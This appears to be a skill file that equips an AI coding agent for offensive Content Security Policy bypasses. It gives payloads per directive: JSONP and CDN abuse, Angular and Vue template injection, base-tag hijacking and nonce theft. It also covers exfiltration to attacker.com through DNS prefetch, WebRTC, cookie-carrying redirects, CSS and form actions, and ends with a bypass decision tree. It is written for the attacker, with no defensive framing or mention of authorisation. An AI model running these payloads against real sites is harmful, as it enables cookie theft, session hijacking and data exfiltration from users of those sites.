csp-bypass-advanced — скилл для Claude Code: обход CSP

---
name: csp-bypass-advanced
description: >-
  Advanced Content Security Policy bypass techniques. Use when XSS or data
  exfiltration is blocked by CSP and you need to find policy weaknesses, trusted
  endpoint abuse, nonce leakage, or exfiltration channels that CSP cannot block.
---

# SKILL: CSP Bypass — Advanced Techniques

> **AI LOAD INSTRUCTION**: Covers per-directive bypass techniques, nonce/hash abuse, trusted CDN exploitation, data exfiltration despite CSP, and framework-specific bypasses. Base models often suggest `unsafe-inline` bypass without checking if the CSP actually uses it, or miss the critical `base-uri` and `object-src` gaps.

## 0. RELATED ROUTING

- [xss-cross-site-scripting](../xss-cross-site-scripting/SKILL.md) for XSS vectors to deliver after CSP bypass
- [dangling-markup-injection](../dangling-markup-injection/SKILL.md) when CSP blocks scripts but HTML injection exists — exfiltrate without JS
- [crlf-injection](../crlf-injection/SKILL.md) when CRLF can inject CSP header or steal nonce via response splitting
- [waf-bypass-techniques](../waf-bypass-techniques/SKILL.md) when both WAF and CSP must be bypassed
- [clickjacking](../clickjacking/SKILL.md) when CSP lacks `frame-ancestors` — clickjacking still possible

---

## 1. CSP DIRECTIVE REFERENCE MATRIX

| Directive | Controls | Default Fallback |
|---|---|---|
| `default-src` | Fallback for all `-src` directives not explicitly set | None (browser default: allow all) |
| `script-src` | JavaScript execution | `default-src` |
| `style-src` | CSS loading | `default-src` |
| `img-src` | Image loading | `default-src` |
| `connect-src` | XHR, fetch, WebSocket, EventSource | `default-src` |
| `frame-src` | iframe/frame sources | `default-src` |
| `font-src` | Font loading | `default-src` |
| `object-src` | `<object>`, `<embed>`, `<applet>` | `default-src` |
| `media-src` | `<audio>`, `<video>` | `default-src` |
| `base-uri` | `<base>` element | **No fallback** — unrestricted if absent |
| `form-action` | Form submission targets | **No fallback** — unrestricted if absent |
| `frame-ancestors` | Who can embed this page (replaces X-Frame-Options) | **No fallback** — unrestricted if absent |
| `report-uri` / `report-to` | Where violation reports are sent | N/A |
| `navigate-to` | Navigation targets (limited browser support) | **No fallback** |

**Critical insight**: `base-uri`, `form-action`, and `frame-ancestors` do NOT fall back to `default-src`. Their absence is always a potential bypass vector.

---

## 2. BYPASS TECHNIQUES BY DIRECTIVE

### 2.1 `script-src 'self'`

The app only allows scripts from its own origin. Bypass vectors:

| Vector | Technique |
|---|---|
| JSONP endpoints | `<script src="/api/jsonp?callback=alert(1)//"></script>` — JSONP reflects callback as JS |
| Uploaded JS files | Upload `.js` file (e.g., avatar upload accepts any extension) → `<script src="/uploads/evil.js"></script>` |
| DOM XSS sinks | Find DOM sinks (innerHTML, eval, document.write) in existing same-origin JS — inject via URL fragment/param |
| Angular/Vue template injection | If framework is loaded from `'self'`, inject template expressions: `{{constructor.constructor('alert(1)')()}}` |
| Service Worker | Register SW from same origin → intercept and modify responses |
| Path confusion | `<script src="/user-content/;/legit.js">` — server returns user content due to path parsing, but URL matches `'self'` |

### 2.2 `script-src` with CDN Whitelist

```
script-src 'self' *.googleapis.com *.gstatic.com cdn.jsdelivr.net
```

| Whitelisted CDN | Bypass |
|---|---|
| `cdnjs.cloudflare.com` | Host arbitrary JS via CDNJS (find lib with callback/eval): `angular.js` → template injection |
| `cdn.jsdelivr.net` | jsdelivr serves any npm package or GitHub file: `cdn.jsdelivr.net/npm/[email protected]/evil.js` |
| `*.googleapis.com` | Google JSONP endpoints, Google Maps callback parameter |
| `unpkg.com` | Same as jsdelivr — serves arbitrary npm packages |
| `*.cloudfront.net` | CloudFront distributions are shared — any CF customer's JS is allowed |

**Trick**: Search for JSONP endpoints on whitelisted domains: `site:googleapis.com inurl:callback`

### 2.3 `script-src 'unsafe-eval'`

`eval()`, `Function()`, `setTimeout(string)`, `setInterval(string)` all permitted.

```javascript
// Template injection → RCE-equivalent in browser
[].constructor.constructor('alert(document.cookie)')()

// JSON.parse doesn't execute code, but if result is used in eval context:
// App does: eval('var x = ' + JSON.parse(userInput))
```

### 2.4 `script-src 'nonce-xxx'`

Only scripts with matching nonce attribute execute.

| Bypass | Condition |
|---|---|
| Nonce reuse | Server uses same nonce across requests or for all users → predictable |
| Nonce injection via CRLF | CRLF in response header → inject new CSP header with known nonce, or inject `<script nonce="known">` |
| Dangling markup to steal nonce | `<img src="https://attacker.com/steal?` (unclosed) → page content including nonce leaks as URL parameter |
| DOM clobbering | Overwrite nonce-checking code via DOM clobbering: `<form id="nonce"><input id="nonce" value="attacker-controlled">` |
| Script gadgets | Trusted nonced script uses DOM data to create new script elements — inject that DOM data |

### 2.5 `script-src 'strict-dynamic'`

Trust propagation: any script created by an already-trusted script is also trusted, regardless of source.

| Bypass | Technique |
|---|---|
| `base-uri` injection | `<base href="https://attacker.com/">` → relative script `src` resolves to attacker domain. Trusted parent script loads `./lib.js` which now points to `https://attacker.com/lib.js` |
| Script gadget in trusted code | Find trusted script that does `document.createElement('script'); s.src = location.hash.slice(1)` → control via URL fragment |
| DOM XSS in trusted script | Trusted script reads `innerHTML` from user-controlled source → injected `<script>` is trusted via `strict-dynamic` |

### 2.6 Angular / Vue CSP Bypass

**Angular (with CSP):**
```html
<!-- Angular template expression bypasses script-src when angular.js is whitelisted -->
<div ng-app ng-csp>
  {{$eval.constructor('alert(1)')()}}
</div>

<!-- Angular >= 1.6 sandbox removed, so simpler: -->
{{constructor.constructor('alert(1)')()}}
```

**Vue.js:**
```html
<!-- Vue 2 with runtime compiler -->
<div id=app>{{_c.constructor('alert(1)')()}}</div>
<script src="https://whitelisted-cdn/vue.js"></script>
<script>new Vue({el:'#app'})</script>
```

### 2.7 Missing `object-src`

If `object-src` is not set (falls back to `default-src`), and `default-src` allows some origins:

```html
<!-- Flash-based bypass (legacy, mostly patched, but still appears on old systems) -->
<object data="https://attacker.com/evil.swf" type="application/x-shockwave-flash">
  <param name="AllowScriptAccess" value="always">
</object>

<!-- PDF plugin abuse -->
<embed src="/user-upload/evil.pdf" type="application/pdf">
```

### 2.8 Missing `base-uri`

```html
<!-- Inject base tag → all relative URLs resolve to attacker -->
<base href="https://attacker.com/">

<!-- Existing script: <script src="/js/app.js"> -->
<!-- Now loads: https://attacker.com/js/app.js -->
```

This bypasses `'nonce-xxx'`, `'strict-dynamic'`, and `script-src 'self'` for relative script paths.

### 2.9 Missing `frame-ancestors`

CSP without `frame-ancestors` → page can be framed → clickjacking possible.

`X-Frame-Options` header is overridden by `frame-ancestors` if CSP is present. But if CSP exists without `frame-ancestors`, some browsers ignore XFO entirely.

---

## 3. CSP IN META TAG vs. HEADER

```html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
```

**Meta tag limitations:**
- Cannot set `frame-ancestors` (ignored in meta)
- Cannot set `report-uri` / `report-to`
- Cannot set `sandbox`
- If injected via HTML injection *before* the meta tag in DOM order, attacker's meta CSP may be processed first (browser uses first encountered)
- If page has both header CSP and meta CSP, **both apply** (most restrictive wins)

---

## 4. DATA EXFILTRATION DESPITE CSP

When `connect-src`, `img-src`, etc. are locked down, alternative exfiltration channels:

| Channel | CSP Directive Needed to Block | Technique |
|---|---|---|
| DNS prefetch | None (CSP cannot block DNS) | `<link rel="dns-prefetch" href="//data.attacker.com">` |
| WebRTC | None (CSP cannot block) | `new RTCPeerConnection({iceServers:[{urls:'stun:attacker.com'}]})` |
| `<link rel=prefetch>` | `default-src` or `connect-src` | Often missed in CSP |
| Redirect-based | `navigate-to` (rarely set) | `location='https://attacker.com/?'+document.cookie` |
| CSS injection | `style-src` | `<style>body{background:url(https://attacker.com/?data)}</style>` |
| `<a ping>` | `connect-src` | `<a ping="https://attacker.com/collect" href="#">click</a>` |
| `report-uri` leak | N/A | Trigger CSP violation → report contains blocked-uri with data |
| Form submission | `form-action` | `<form action="https://attacker.com/"><button>Submit</button></form>` |

**DNS-based exfiltration is nearly impossible to block with CSP** — this is the most reliable channel.

---

## 5. CSP BYPASS DECISION TREE

```
CSP present?
├── Read full policy (response headers + meta tags)
│
├── Check for obvious weaknesses
│   ├── 'unsafe-inline' in script-src? → Standard XSS works
│   ├── 'unsafe-eval' in script-src? → eval/Function/setTimeout bypass
│   ├── * or data: in script-src? → <script src="data:,alert(1)">
│   └── No CSP header at all on some pages? → Find CSP-free page
│
├── Check missing directives
│   ├── No base-uri? → <base href="https://attacker.com/"> → hijack relative scripts
│   ├── No object-src? → Flash/plugin-based bypass (legacy)
│   ├── No form-action? → Exfil via form submission
│   ├── No frame-ancestors? → Clickjacking possible
│   └── No connect-src falling back to lax default-src? → fetch/XHR exfil
│
├── script-src 'self'?
│   ├── Find JSONP endpoints on same origin
│   ├── Find file upload → upload .js file
│   ├── Find DOM XSS in existing same-origin scripts
│   └── Find Angular/Vue loaded from self → template injection
│
├── script-src with CDN whitelist?
│   ├── Check CDN for JSONP endpoints
│   ├── Check jsdelivr/unpkg/cdnjs → load attacker-controlled package
│   └── Check *.cloudfront.net → shared distribution namespace
│
├── script-src 'nonce-xxx'?
│   ├── Nonce reused across requests? → Replay
│   ├── CRLF injection available? → Inject nonce
│   ├── Dangling markup to steal nonce
│   └── Script gadget in trusted scripts
│
├── script-src 'strict-dynamic'?
│   ├── base-uri not set? → <base> hijack
│   ├── DOM XSS in trusted script? → Inherit trust
│   └── Script gadget creating dynamic scripts from DOM data
│
└── All script execution blocked?
    ├── Dangling markup injection → exfil without JS (see ../dangling-markup-injection/SKILL.md)
    ├── DNS prefetch exfiltration
    ├── WebRTC exfiltration
    ├── CSS injection for data extraction
    └── Form action exfiltration
```

---

## 6. TRICK NOTES — WHAT AI MODELS MISS

1. **`default-src 'self'` does NOT restrict `base-uri` or `form-action`** — these have no fallback. This is the #1 CSP mistake.
2. **`strict-dynamic` ignores whitelist**: When `strict-dynamic` is present, host-based allowlists and `'self'` are ignored for script loading. Only nonce/hash and trust propagation matter.
3. **Multiple CSPs stack**: If both `Content-Security-Policy` header and `<meta>` CSP exist, the browser enforces BOTH — the effective policy is the intersection (most restrictive).
4. **`Content-Security-Policy-Report-Only`** does not enforce — it only reports. Check for the correct header name.
5. **Nonce length matters**: Nonces should be ≥128 bits of entropy. Short or predictable nonces can be brute-forced or guessed.
6. **Report-uri information disclosure**: CSP violation reports sent to `report-uri` contain `blocked-uri`, `source-file`, `line-number` — this can leak internal URLs, script paths, and page structure to whoever controls the report endpoint.
7. **`data:` in script-src**: `script-src 'self' data:` allows `<script src="data:text/javascript,alert(1)">` — trivial bypass, but commonly seen in real-world CSPs.